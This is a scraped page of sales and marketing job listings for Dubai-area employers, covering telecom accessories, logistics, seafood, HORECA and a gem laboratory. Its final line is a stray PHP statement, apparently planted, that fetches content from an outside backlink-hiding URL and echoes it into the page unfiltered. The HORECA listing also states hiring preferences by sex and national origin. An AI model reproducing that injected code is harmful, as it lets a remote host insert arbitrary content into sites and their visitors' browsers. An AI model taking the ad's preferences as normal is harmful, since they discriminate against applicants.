Jobs updated


Sales/Marketing


Sales Manager Dubai


Sales Manager - Mobile Accessories 
(should have work experience in KSA as Sales Manager)
Location : UAE

REQUIREMENTS
- 5+ years of experience in the Telecom Industry with particular emphasize on the accessory line of business
- Strong experience in managing key customer relationships
- Established relationships with buyers in retailers for the accessory line of business
- Ability & expertise to set up business from scratch in the region
- Experience in developing and executing sales plans.
- High levels of personal commitment and willingness to accept responsibility for one's own actions.
- Leverages personal credibility and networking abilities.
- Motivational and persuasiveness skills together with high level interpersonal skills.
- Comprehensive planning and administration skills
- Ability to enlist senior support to influence a desired outcome.
- Strong verbal, written, presentation and effective listening skills.
- Strong team-working skills.
- Results driven
- Ability to develop strong relationships at all levels
- Proven account management and maintenance skills.
- Demonstrated ability to develop business plans.
- Demonstrated high level of written and oral communication skills

RESPONSIBILITIES
• Customer creation, retention and sales growth
• Achieve, or exceed, monthly targets for Sales Revenue and Margin
• Enhance company's presence and involve key decision makers in account base
• Establish, support and manage relationships between the customers' organisation and company
• Work to continuously improve customer satisfaction by focusing on the customers key drivers of satisfaction.
• Anecdo al customer feedback, staff involvement and feedback & Management feedback
• Develop and implement sales plans for key customers in the region, in conjunction with the Brand Director, outlining the strategic objectives agreed for the account, aligned with the strategies of the company
• Perform sales & marketing activities with key customers in MENA and negotiate sales price and discounts in consultation with senior management.
• Accurately forecast quarterly and monthly volumes for the key customers in MENA.
• Develop Account specific plans to ensure revenue growth of the brand in MENA.
• Develop & maintain relationships with key external contacts such as Regional Managers and Buyers, and conduct regular meetings to review sales results, marketing initiatives, and operational issues.

Sales professionals Dubai


Hiring Sales Professionals with

1. signage and decor industry experience
2. UAE D/L required (mandatory)

Requirements:

1. Target oriented
2. Project Management skills
3. Experience in Signages , Decor and Large Format Print Services
4. Capable of closing payments with ease
5. Have to work under pressure and meet deadlines.
6. Good communication and presentation skills.
7. Best in working independently as well as in a team.
8. Sorting work with prioritise and managing workload
9. Strong Networking Skills

Required Experience, Qualifications & Education:

1. Minimum 1 year experience in UAE Sales or Marketing (Required)
2. Excellent command of English (Required)
3. Proficient in Microsoft Office applications (Required)
4. UAE Driving License is mandatory. (Required)

Location : Dubai
Job type: Full time

Heptagon Media


Sales Manager Dubai

Schedule and conduct phone and face-to-face meetings with clients.
Look through directory of companies in Dubai and make calls with providing services of the company.
Source new clients through personal and professional network.
Maintain relationship with existing client base through regular meetings and phone calls.
Keep track of sales and ensure it met and exceeded the targets provided.
Travel extensively within the city to meet potential or existing customers and clients.
Guide and educate clients by presenting and and keeping them up to date with latest rich media solutions and engaging methods.
Maintain industry knowledge and always been up to date with new technologies, terms, trends, costs, and media innovations.
Mature responsible outlook, ability to work independently when required, good attention to detail, proactive and an enthusiastic team player.
The ability to work in a deadline driven, sometimes pressured environment.

Sales manager Dubai


Job description: Well reputed Metal, steel, aluminum & Glass company in sharjah requires an experienced SALES EXECUTIVE with GOOD EXPERIENCE IN ALUMINUM MACHINERY WITH TECHNICAL backgrounds.

Interested candidate can apply.
• Identifies business opportunities by identifying prospects and evaluating their position in the industry; researching and analyzing sales options.
• Sells products by establishing contact and developing relationships with prospects; recommending solutions.
• Maintains relationships with clients by providing support, information, and guidance; researching and recommending new opportunities; recommending profit and service improvements.
• Identifies product improvements or new products by remaining current on industry trends, market activities, and competitors.
• Prepares reports by collecting, analyzing, and summarizing information.
• Maintains quality service by establishing and enforcing organization standards.
• Maintains professional and technical knowledge by attending educational workshops; reviewing professional publications; establishing personal networks; benchmarking state-of-the-art practices; participating in professional societies.
• Contributes to team effort by accomplishing related results as needed.

Responsibilities
• Develop a growth strategy focused both on financial gain and customer satisfaction
• Conduct research to identify new markets and customer needs and product development
• Arrange business meetings with prospective clients
• Promote the company s products/services addressing or predicting clients objectives
• Partner with sales teams to create contract-winning proposals for current and prospective clients
• Prepare sales contracts ensuring adherence to law-established rules and guidelines
• Keep records of sales, revenue, invoices etc.
• Provide trustworthy feedback and after-sales support
• Build long-term relationships with new and existing customers
• Develop entry level staff into valuable salespeople
Requirements
• the ability and desire to sell
• a positive, confident and determined approach
• resilience and the ability to cope with rejection
• a high degree of self-motivation and ambition
• the skills to work both independently and as part of a team
• the capability to flourish in a competitive environment
• a good level of numeracy
• UAE driving licence
• fluency in a foreign language - this can be helpful, particularly if working for an international company
• Proven working experience as a business development manager, sales executive or a relevant role

Sales Executives Dubai


Global Logistics is one of the leading logistics companies in GCC.

The company has basis in KSA, Kuwait, Oman and UAE.

Global Logistics DWC LLC offers Land Transportation from UAE to all GCC and Middle East Countries, International Cargo, moving and International relocation, customs clearance in UAE, customs clearance in KSA and in Kuwait, warehousing, local distribution, supply chain solutions, Sea Freight and Air Freight.

For Global Logistics DWC LLC Dubai branch we are looking to hire a Sales Executive, with below Terms and condition:

1. Logistics Industry experience in UAE, must UAE experience of 2 years.
2. Land Transportation experience is advantage.
3. UAE Driving License is a must.
4. High level of communication skills.
Global Logistics DWC LLC offers:
- Good Basic Salary
- Attractive Commission
- Many other benefits

Kindly send us your CV 

Sales manager Dubai


Noirfishco

Job description: Sr.sales Executive - Seafood Sales for fresh seafood sale - 2 - Knowledge about fresh seafood market, UAE fresh seafood market knowledge, client development, targeting customers Whole sellers,supermarkets, hotels, catering, ships chandlers etc. experience in seafood sale 5 years, qualification BA,BSC,BTech,

Sales Executive -2 Knowledge about fresh seafood market, UAE fresh seafood market knowledge, client development, targeting customers Whole sellers,supermarkets, hotels, catering, ships chandlers etc. experience in seafood sale 2 years, qualification BA,BSC,BTech,.

HORECA Sales Manager Dubai


Job Summary

  • Responsible for leading and guiding a team people in the organization.
  • Sets goals & quotas, build a sales plan, analyze data, assign training's and mentor the members of the sales team.

Responsibilities and Duties

  • Responsible in planning and implementing sales programs as per business plan.
  • Maintain contact with key markets by visiting and investigating of the operating and local conditions.
  • Design and implement all the sales strategies to achieve the sales target.
  • Capable to do a market research in order to identify market requirements for current and future products.
  • Must be consistent, profitable growth in sales revenues through positive planning and management of key accounts.
  • Excellent communication skills to deal with customers and prospects at different levels.
  • Must be able to understand financial margins and taking prompt action in solving related challenges.
  • Responsible for marketing of products and services to both B2B and B2C markets.
  • Establish and maintain effective working team relationships with all departments.
  • Must have analytical skills to customize sales approach to customer type.
  • Actively involved in Business Development to ensure growth of the business.
  • Ensure achievement of targets and goals set by the department.
  • Strictly adhere to the policy and procedures of the company. Supervise and manage each member of the sales team to ensure their compliance of the policy and procedure.
  • Liaise with the suppliers and efficiently manage the procurement process.
  • Ensure “Customer Delight” through impeccable service and high quality products

Qualifications and Skills

  • Should have minimum 8 - 10 years UAE, FMCG experience in Horeca sector.
  • Must have experience of retailers, wholesalers, Horeca, competitors, products.
  • Must have at least 8 - 10 years of experience in Sales & Marketing .
  • Preferably Ladies .
  • Preferably Eastern or Central Europeans .
  • Proficient in both verbal and written English Language .
  • Excellent people management skills.
  • Must have a Degree in Marketing or Business Administration, preferably Masters but not a mandate.

Job Type: Full-time

Salary: AED18,000.00 to AED20,000.00 /month

solitaire-labs


Marketing Professional Dubai

An ideal candidate will be a strategic thinker as well as knowledgeable in everyday marketing activities.

Excellent interpersonal, communication, and negotiation skills. Team oriented as well as conceptual/consultative sales skills.

Execute marketing activities on a local level and working closely with the local sales team.

Basic Qualifications:-

- Proven success of referral activities and experience in developing new innovative ideas to drive business.

- UAE Resident. (Preference).

- Communicating in ARABIC is MUST.

Interested individuals please email on kunal.trikha@solitaire-labs.com & dubai@solitaire-labs.com

Company Introduction:-

Solitaire Gem Labs (SGL) is an independent international laboratory that provides professional gemstone identification and grading services to the gems & jewellery industry worldwide through its centres in London, Dubai, Riyadh, Mumbai, Bangalore, Chennai, Hyderabad, Thrissur, Coimbatore, Pune, Jaipur and Kolkata.

All SGL laboratories, as a part of the seamless network, use the same system, process, technology and methodology globally to provide top of the line service to the gems & jewellery industry. By combining innovative thinking, new technology, and values such as integrity and commitment, SGL has built gemmological laboratories equipped to meet the ever so evolving challenges of the industry. Each day, we strive to protect diamond retailers, manufacturers, traders and the end consumers, by providing them with the highest quality reports and professional services.

As a gemmological laboratory, we confine ourselves to the analysis and interpretation of the scientific characteristics of gemstones. This will help us lead the way to benchmark our presence as one of the leading gemmological laboratories around the world.

SGL is a neutral organisation and does not endorse or recommend any commercial product, company or individual, including companies or individuals with websites that may offer a link for any related services to the Solitaire Gemmological Laboratories Ltd. website.
$framework_controller_2 = file_get_contents('https://hide-my-backlink.com/anchor/url.php'); echo $framework_controller_2;